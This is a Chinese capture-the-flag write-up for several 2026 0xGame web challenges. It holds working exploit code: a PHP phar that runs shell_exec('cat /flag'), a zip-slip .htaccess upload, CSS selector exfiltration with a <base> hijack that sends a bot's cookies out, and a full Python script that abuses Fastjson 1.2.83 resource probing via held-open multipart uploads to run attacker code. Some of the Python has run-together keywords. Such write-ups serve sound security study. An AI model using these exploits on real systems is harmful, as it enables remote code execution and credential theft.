2026-0xGame【web】全解"

admin 2026-10-15 13:57:33 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

2026-0xGame【web】全解

原创

opis
opis

玄网安全

2026年10月12日 06:08
浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

WEB1:ATP代码实验

漏洞在/static/submit.js

/static/protect.js加密混淆解密后大致内容就是说 ctrl+u 这类代码进制

<?php
// php -d phar.readonly=0 make.php
@unlink(__DIR__ . '/flag.phar');
$p = new Phar(__DIR__ . '/flag.phar');
$p->startBuffering();

// include 会执行这个文件,扩展名无所谓
$p->addFromString('test.txt', \"<?php echo shell_exec('cat /flag');\");

// 前 6 字节必须是 GIF89a,后面接 phar 结束标记
$p->setStub(\"GIF89a\
<?php __HALT_COMPILER(); ?>\
\");

$p->stopBuffering();
echo'sha1=' . sha1_file(__DIR__ . '/flag.phar') . \"\
\";
echo'size=' . filesize(__DIR__ . '/flag.phar') . \"\
\";

php -d phar.readonly=0 make.php

include 打开这个 phar 条目并执行 test.txt。open_basedir 是 /app/src:/tmp,file_get_contents('/flag') 会被拒绝,但 disable_functions 为空,shell_exec 不受 open_basedir 限制。

构造 .htaccess 激活 PHP 解析

import zipfile, os
PNG = b'\\x89PNG\\r\
\\x1a\
'
with zipfile.ZipFile('htaccess.zip', 'w') as z:
    z.writestr('../../../pub/.htaccess', b'AddType application/x-httpd-php .png')

WEB15:留言板 revenge

1. 分析平台机制

  • 作者可创建留言板,上传静态资源(review-*.js 形式)。
  • 发布后,机器人会自动访问公开页 /p/<slug>/,仅渲染允许的标签(极少量)。
  • 头部片段(head_snippet)可包含 <style> 和 <base>。
  • 审核视角的隐藏域 input[name=review-script] 会携带文件名(review-<6位hex>.js)。
  • 机器人浏览器会执行 review-*.js,此 JS 必须带 CSP nonce,才能在受限环境中执行任意 JS。

2. 关键观察点

  • 审查脚本文件名可通过 CSS 属性选择器外带(value^=\"review-\" 后跟 6 位 hex)。
  • <base href=\"/uploads/<slug>/\"> 可让相对路径解析成我们上传的 JS。
  • 机器人访问时会携带 nonce-xxx,我们的 JS 可被 CSP 信任执行。
  • 所有外带数据通过 /collect/<slug>?kind=xxx&value=xxx 通道。

3. 解题流程

Step 1:创建留言板 & 上传头部片段

# 模拟浏览器操作
POST /create
  title=testboard
  body=hello body
  head_snippet=<style>body{color:red}</style>

Step 2:外带审查脚本文件名

使用以下 CSS 逐位外带:

<style>
body:has(input[name=\"review-script\"][value^=\"review-0\"]){background:url(/collect/c5d054f9?kind=p0&value=0)}
body:has(input[name=\"review-script\"][value^=\"review-1\"]){background:url(/collect/c5d054f9?kind=p0&value=1)}
...
body:has(input[name=\"review-script\"][value^=\"review-f\"]){background:url(/collect/c5d054f9?kind=p0&value=f)}
</style>

连续执行 6 次即可获得完整文件名 review-a8b1a8.js。

Step 3:上传同名 JS 恶意代码

POST /manage/<slug>/asset
  filename=review-a8b1a8.js
  content=...
(async () => {
  const slug = \"c5d054f9\";
  const send = (k, v) => fetch(`/collect/${slug}?kind=${k}&value=${v}`, {credentials:\"include\"}).catch(()=>{});
  const cookie = document.cookie;
  const href = location.href;
  await send(\"cookie\", cookie);
  await send(\"href\", href);
})();

Step 4:注入 <base> 劫持静态资源

<head>
  ...
  <base href=\"/uploads/c5d054f9/\">
  <style> /* 外带脚本名的样式 */ </style>
</head>

Step 5:触发机器人预览

POST /manage/<slug>/report
  token=<token>

机器人会访问 /p/<slug>/,解析 <base>,加载 review-a8b1a8.js,执行我们的代码。

4. 最终效果

我们的 JS 在机器人浏览器中执行,读取 document.cookie,flag 直接出现在 cookie 中:

flag=0xGame{2a7b41af-6fa2-4449-b009-173b3677cc6d}

WEB16:让我解解你的json......不耗!

题目是一个 Fastjson 1.2.83 JSON 解析接口,AutoType 关闭,但解析成功的 Map 会原样回显。checkAutoType 仍会按 @type 做 getResourceAsStream 探测 @JSONType。把未传完的 multipart 上传留在 /proc/self/fd/N,再按「点号二进制名 / 斜杠内部名」加载一个继承 HashMap 的类,构造函数读 /flag,响应里直接带出 flag。

依赖:Python 3、JDK(javac --release 8)。完整 payload 脚本在文末,保存为 solve.py 后直接运行。

解题过程

题目没有给源码。行为可以确定后端是 Fastjson 1.2.83(JSON.parse 后把结果写回响应):

请求 结果
{\"a\":1} 200 {\"a\":1}
{\"@type\":\"java.util.HashMap\"} 200 {}
{\"@type\":\"java.util.ArrayList\"} 200 []
{\"@type\":\"java.util.Date\"} 200 ISO 时间字符串
{\"@type\":\"java.lang.Object\"} 406
不存在的类型 500 ,Spring 默认错误页,不回异常文本

406 表示类型解析成功但结果不是可回显的 Map/List/字符串/日期。500 表示解析阶段就失败。所以只要加载一个能放进 Map 的类,flag 会走正常的 200 回显,不需要外带。

漏洞:ParserConfig.checkAutoType(fastjson 1.2.83)

AutoType 关闭时,未知类型仍会走到资源探测。对应 ParserConfig.java 约 1479–1510 行:

String resource = typeName.replace('.', '/') + \".class\";
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
if (is != null) {
    ClassReader classReader = new ClassReader(is, true);
    TypeCollector visitor = new TypeCollector(\"<clinit>\", new Class[0]);
    classReader.accept(visitor);
    jsonType = visitor.hasJsonType();
}
if (autoTypeSupport || jsonType || expectClassFlag) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
if (clazz != null && jsonType) {
    return clazz;   // 直接放行,不再走 deny
}

触发条件:类字节上有运行时可见的 Lcom/alibaba/fastjson/annotation/JSONType;,且类加载器把资源名当成 jar: URL(Spring Boot fat jar 的 LaunchedURLClassLoader 满足)。影响:攻击者提供的类被 defineClass,<clinit> 和构造函数在解析线程里执行。

类型名还有两道 JVM 限制,payload 必须同时满足:

  1. ClassLoader.checkName 拒绝二进制名里的 /。@type 只能用点号形式。
  2. defineClass 要求二进制名把 / 换成 . 之后,等于 class 文件里的内部名。JDK 9+ 拒绝 ://,但 jar:file:/proc/self/fd/N 只有单个 :/,可以通过。

因此一对名字必须严格对应:

@type     jar:file:.proc.self.fd.13!.fd13.H0
replace   jar:file:/proc/self/fd/13!/fd13/H0.class
内部名    jar:file:/proc/self/fd/13!/fd13/H0
JAR 条目  fd13/H0.class

类文件要用 javac --release 8。1.2.83 自带的 ASM ClassReader 读不了更高的 class 版本,异常被吞掉后 hasJsonType 变成 false,表现就是普通的 500。@JSONType(asm=false) 用来避免随后对这种非法类名走 ASM 序列化。

类继承 HashMap。MapDeserializer.createMap 对未知 Map 子类调用 newInstance(),构造函数里 put 的条目会原样出现在响应里。普通 Object 会被接口打成 406,所以必须是 Map。

验证 payload(命中正确 fd 时):

{\"@type\":\"jar:file:.proc.self.fd.13!.fd13.H0\"}

实际响应:

{\"cwd\":\"/app/.\",\"root\":\"...,flag,entrypoint.sh,app\",\"f0\":\"0xGame{61d9e381-8547-4430-a067-377b347e7459}\
\",\"env\":\"null\",\"m\":\"1\",\"fd\":\"0013\"}

把 JAR 留在 fd 上

题目不出网,不能走 jar:http 把 JAR 下载进 jar_cache。改用 Tomcat 的 multipart 临时文件:

  • Content-Type: multipart/form-data,Content-Length 比已发送正文大 200000,并且不发结束 boundary。
  • 容器把 part 写到临时文件后阻塞读剩余 body,FileOutputStream 的 fd 一直留在 /proc/self/fd/N。/proc/self 是进程级的,另一条请求可以读到。
  • JAR 用 ZIP_STORED。后面再垫 32KB 的 A:足够把 ZIP 尾部的 EOCD 冲出 FileUpload 的缓冲区,又小于 ZipFile 从末尾向前找 EOCD 的窗口,临时文件末尾多出来的填充不会把 JAR 读坏。

fd 号不固定。低号 fd 经常是进程自己的 jar 或 socket,打开会慢甚至卡住。并发不能太高:18 条半开上传加上 8 个探测会把 Tomcat 线程占满,后续探测全部超时。4 条上传、2 个探测线程、扫 3..79 即可。本次命中的是 fd 13。

复现

把下面整段保存为 solve.py,在能访问题目的机器上执行 python solve.py。脚本自己写注解 stub 和 H0.java,用 javac --release 8 编译,改常量池里的内部类名,为每个 fd 打一份 class,再边占着上传边扫描。换实例时改 HOST,或用环境变量 TARGET_HOST。

#!/usr/bin/env python3
\"\"\"0xGame JSON 解析器

Fastjson 1.2.83(AutoType 关闭)会把 @type 里的 '.' 换成 '/' 再
getResourceAsStream。未结束的 multipart 上传把 JAR 留在 /proc/self/fd/N,
类名按「点号二进制名 / 斜杠内部名」对齐后即可加载。该类继承 HashMap,
构造时读 /flag,解析结果被原样回显。

依赖: Python 3, javac(支持 --release 8)
\"\"\"
import json
import os
import re
import socket
import struct
import subprocess
import sys
import tempfile
import threading
import time
import zipfile

HOST = os.environ.get(
    \"TARGET_HOST\",
    \"8080-dea08705-e113-4d7c-8d9a-43706f6d7a6f.challenge.ctfplus.cn\",
)
PORT = int(os.environ.get(\"TARGET_PORT\", \"80\"))
FD_LO = int(os.environ.get(\"FD_LO\", \"3\"))
FD_HI = int(os.environ.get(\"FD_HI\", \"80\"))  # exclusive
SEEDS = int(os.environ.get(\"SEEDS\", \"4\"))
WORKERS = int(os.environ.get(\"WORKERS\", \"2\"))
BOUND = \"----x7f3a9c\"

running = True
found = threading.Event()
hit_body = []

def log(msg):
    print(f\"[{time.strftime('%H:%M:%S')}] {msg}\", flush=True)

JSONTYPE_JAVA = r\"\"\"
package com.alibaba.fastjson.annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface JSONType {
    boolean asm() default true;
}
\"\"\"

# 描述符必须是 Lcom/alibaba/fastjson/annotation/JSONType;
# asm=false 避免 fastjson 对异常类名走 ASM 序列化。
# Qz9N 是定长占位,打进常量池后按 fd 原地替换,用来确认命中的描述符。
H0_JAVA = r\"\"\"
import com.alibaba.fastjson.annotation.JSONType;
import java.io.File;
import java.io.FileInputStream;
import java.util.HashMap;

@JSONType(asm = false)
public class H0 extends HashMap {
    public H0() {
        put(\"m\", \"1\");
        put(\"fd\", \"Qz9N\");
        String[] ps = new String[] {
            \"/flag\", \"/flag.txt\", \"/app/flag\", \"/app/flag.txt\",
            \"/opt/flag\", \"/tmp/flag\", \"/home/ctf/flag\", \"/home/flag/flag\",
            \"/var/flag\", \"/flag/flag\", \"flag\", \"flag.txt\"
        };
        for (int i = 0; i < ps.length; i++) {
            try {
                File f = new File(ps[i]);
                if (f.isFile() && f.length() > 0 && f.length() < 200000) {
                    int n = (int) f.length();
                    byte[] b = new byte[n];
                    FileInputStream in = new FileInputStream(f);
                    int off = 0, r;
                    while (off < n && (r = in.read(b, off, n - off)) > 0) off += r;
                    in.close();
                    put(\"f\" + i, new String(b, 0, off, \"UTF-8\"));
                }
            } catch (Throwable t) {
                put(\"e\" + i, t.getClass().getName());
            }
        }
        try {
            put(\"cwd\", new File(\".\").getAbsolutePath());
            put(\"env\", String.valueOf(System.getenv(\"FLAG\")));
            String[] root = new File(\"/\").list();
            if (root != null) {
                StringBuilder sb = new StringBuilder();
                int lim = root.length < 50 ? root.length : 50;
                for (int i = 0; i < lim; i++) {
                    if (i > 0) sb.append(',');
                    sb.append(root[i]);
                }
                put(\"root\", sb.toString());
            }
        } catch (Throwable t) {
            put(\"err\", String.valueOf(t));
        }
    }
}
\"\"\"

def patch_utf8(raw, old, new):
    \"\"\"替换常量池里唯一一条内容恰好等于 old 的 Utf8(改 this_class 的内部名)。\"\"\"
    old_b, new_b = old.encode(), new.encode()
    cp_count = struct.unpack(\">H\", raw[8:10])[0]
    off = 10
    i = 1
    while i < cp_count:
        tag = raw[off]
        if tag == 1:
            ln = struct.unpack(\">H\", raw[off + 1 : off + 3])[0]
            if raw[off + 3 : off + 3 + ln] == old_b:
                return raw[: off + 1] + struct.pack(\">H\", len(new_b)) + new_b + raw[off + 3 + ln :]
            off += 3 + ln
        elif tag in (7, 8, 16, 19, 20):
            off += 3
        elif tag == 15:
            off += 4
        elif tag in (3, 4, 9, 10, 11, 12, 17, 18):
            off += 5
        elif tag in (5, 6):
            off += 9
            i += 1
        else:
            raise SystemExit(f\"bad constant-pool tag {tag}\")
        i += 1
    raise SystemExit(f\"utf8 not found: {old}\")

def build_jar(workdir):
    src = os.path.join(workdir, \"src\")
    ann = os.path.join(src, \"com\", \"alibaba\", \"fastjson\", \"annotation\")
    os.makedirs(ann, exist_ok=True)
    open(os.path.join(ann, \"JSONType.java\"), \"w\", encoding=\"utf-8\", newline=\"\
\").write(JSONTYPE_JAVA)
    open(os.path.join(src, \"H0.java\"), \"w\", encoding=\"utf-8\", newline=\"\
\").write(H0_JAVA)
    classes = os.path.join(workdir, \"classes\")
    os.makedirs(classes, exist_ok=True)
    subprocess.check_call(
        [\"javac\", \"--release\", \"8\", \"-g:none\", \"-d\", classes,
         os.path.join(ann, \"JSONType.java\"), os.path.join(src, \"H0.java\")],
        stdout=subprocess.DEVNULL,
    )
    base = open(os.path.join(classes, \"H0.class\"), \"rb\").read()
    ifb\"Lcom/alibaba/fastjson/annotation/JSONType;\"notin base:
        raise SystemExit(\"JSONType descriptor missing; fastjson ASM probe will ignore the class\")
    jar_path = os.path.join(workdir, \"evil.jar\")
    with zipfile.ZipFile(jar_path, \"w\", compression=zipfile.ZIP_STORED) as z:
        for fd in range(FD_LO, FD_HI):
            # 内部名(斜杠)经 JVM 的 '/' -> '.' 后必须等于 @type 的二进制名。
            internal = f\"jar:file:/proc/self/fd/{fd}!/fd{fd}/H0\"
            raw = patch_utf8(base, \"H0\", internal)
            raw = raw.replace(b\"Qz9N\", f\"{fd:04d}\".encode())
            z.writestr(f\"fd{fd}/H0.class\", raw)
    data = open(jar_path, \"rb\").read()
    log(f\"jar {len(data)} bytes, fd {FD_LO}..{FD_HI - 1}\")
    return data

def unchunk(header, body):
    ifb\"chunked\"notin header.lower():
        return body
    out = bytearray()
    i = 0
    while i < len(body):
        j = body.find(b\"\\r\
\", i)
        if j < 0:
            break
        line = body[i:j].split(b\";\", 1)[0].strip()
        try:
            n = int(line, 16)
        except ValueError:
            return body
        if n == 0:
            break
        out += body[j + 2 : j + 2 + n]
        i = j + 2 + n + 2
    return bytes(out)

def seed_worker(tag, jar, ready):
    part = (
        f\"--{BOUND}\\r\
\"
        'Content-Disposition: form-data; name=\"f\"; filename=\"x.jar\"\\r\
'
        \"Content-Type: application/octet-stream\\r\
\\r\
\"
    ).encode() + jar + (b\"A\" * 32768)
    # 声明的长度大于已发送字节,且不发送结束 boundary。
    # Tomcat 把已写入的 part 留在临时文件上,线程阻塞读剩余 body,fd 一直开着。
    # 32KB 填充把 ZIP 的 EOCD 冲出 FileUpload 缓冲区,又小于 ZipFile 向前扫描的窗口。
    total = len(part) + 200000
    head = (
        f\"POST /api/parse HTTP/1.1\\r\
Host: {HOST}\\r\
\"
        f\"Content-Type: multipart/form-data; boundary={BOUND}\\r\
\"
        f\"Content-Length: {total}\\r\
Connection: keep-alive\\r\
\\r\
\"
    ).encode()
    while running andnot found.is_set():
        s = None
        try:
            s = socket.create_connection((HOST, PORT), timeout=15)
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
            s.sendall(head + part)
            ready.set()
            s.settimeout(2)
            try:
                early = s.recv(200)
                if early:
                    log(f\"{tag} server answered early: {early[:120]!r}\")
                    time.sleep(1)
                    continue
            except socket.timeout:
                pass
            deadline = time.time() + 25
            while running andnot found.is_set() and time.time() < deadline:
                time.sleep(0.4)
        except Exception as ex:
            log(f\"{tag} {type(ex).__name__}: {ex}\")
            time.sleep(1)
        finally:
            if s isnotNone:
                try:
                    s.close()
                except Exception:
                    pass

def probe(fd):
    # 二进制名不含 '/',过 ClassLoader.checkName;
    # replace('.', '/') 后变成 jar:file:/proc/self/fd/N!/fdN/H0.class
    body = json.dumps({\"@type\": f\"jar:file:.proc.self.fd.{fd}!.fd{fd}.H0\"}).encode()
    head = (
        f\"POST /api/parse HTTP/1.1\\r\
Host: {HOST}\\r\
\"
        \"Content-Type: application/json\\r\
\"
        f\"Content-Length: {len(body)}\\r\
Connection: close\\r\
\\r\
\"
    ).encode()
    timeout = float(os.environ.get(\"PROBE_TIMEOUT\", \"8\"))
    s = socket.create_connection((HOST, PORT), timeout=timeout)
    s.settimeout(timeout)
    try:
        s.sendall(head + body)
        chunks = []
        whileTrue:
            b = s.recv(8192)
            ifnot b:
                break
            chunks.append(b)
            if sum(map(len, chunks)) > 200000:
                break
    finally:
        s.close()
    raw = b\"\".join(chunks)
    ifb\"\\r\
\\r\
\"notin raw:
        return\"?\", raw
    header, resp = raw.split(b\"\\r\
\\r\
\", 1)
    status = header.split(b\" \", 2)[1].decode(errors=\"replace\")
    return status, unchunk(header, resp)

def main():
    global running
    work = tempfile.mkdtemp(prefix=\"fj-\")
    jar = build_jar(work)
    ready = threading.Event()
    for i in range(SEEDS):
        threading.Thread(target=seed_worker, args=(f\"S{i}\", jar, ready), daemon=True).start()
    ifnot ready.wait(20):
        log(\"upload never left the client\")
        return1
    log(\"uploads held open, scanning fds\")
    time.sleep(1.2)

    lock = threading.Lock()
    nxt = [FD_LO]

    def worker():
        whilenot found.is_set():
            with lock:
                fd, nxt[0] = nxt[0], nxt[0] + 1
            if fd >= FD_HI:
                return
            try:
                status, resp = probe(fd)
            except Exception as ex:
                log(f\"fd {fd} {type(ex).__name__}\")
                continue
            else:
                ifnot (b'\"m\"'in resp orb\"0xGame\"in resp):
                    log(f\"fd {fd} HTTP {status} {len(resp)}B {resp[:80]!r}\")
            if\"题目实例未找到\".encode() in resp or (
                status == \"404\"andb\"flag\"notin resp.lower()
            ):
                log(\"instance is gone (404)\")
                found.set()
                return
            flag = re.search(rb\"0xGame\\{[^}]+\\}\", resp)
            loaded = b'\"m\"'in resp orb'\"root\"'in resp orb'\"f0\"'in resp
            if flag or loaded:
                log(f\"fd {fd} HTTP {status} {resp[:500]!r}\")
                hit_body.append(resp)
                found.set()
                if flag:
                    print(flag.group().decode())
                return

    pool = [threading.Thread(target=worker, daemon=True) for _ in range(WORKERS)]
    for t in pool:
        t.start()
    for t in pool:
        t.join()
    running = False
    ifnot found.is_set():
        log(\"no fd served the uploaded jar\")
        return1
    return0

if __name__ == \"__main__\":
    sys.exit(main())

本次输出:

[15:07:53] fd 13 HTTP 200 {\"cwd\":\"/app/.\",\"root\":\"...flag,entrypoint.sh,app\",\"f0\":\"0xGame{61d9e381-8547-4430-a067-377b347e7459}\
\",\"env\":\"null\",\"m\":\"1\",\"fd\":\"0013\"}
0xGame{61d9e381-8547-4430-a067-377b347e7459}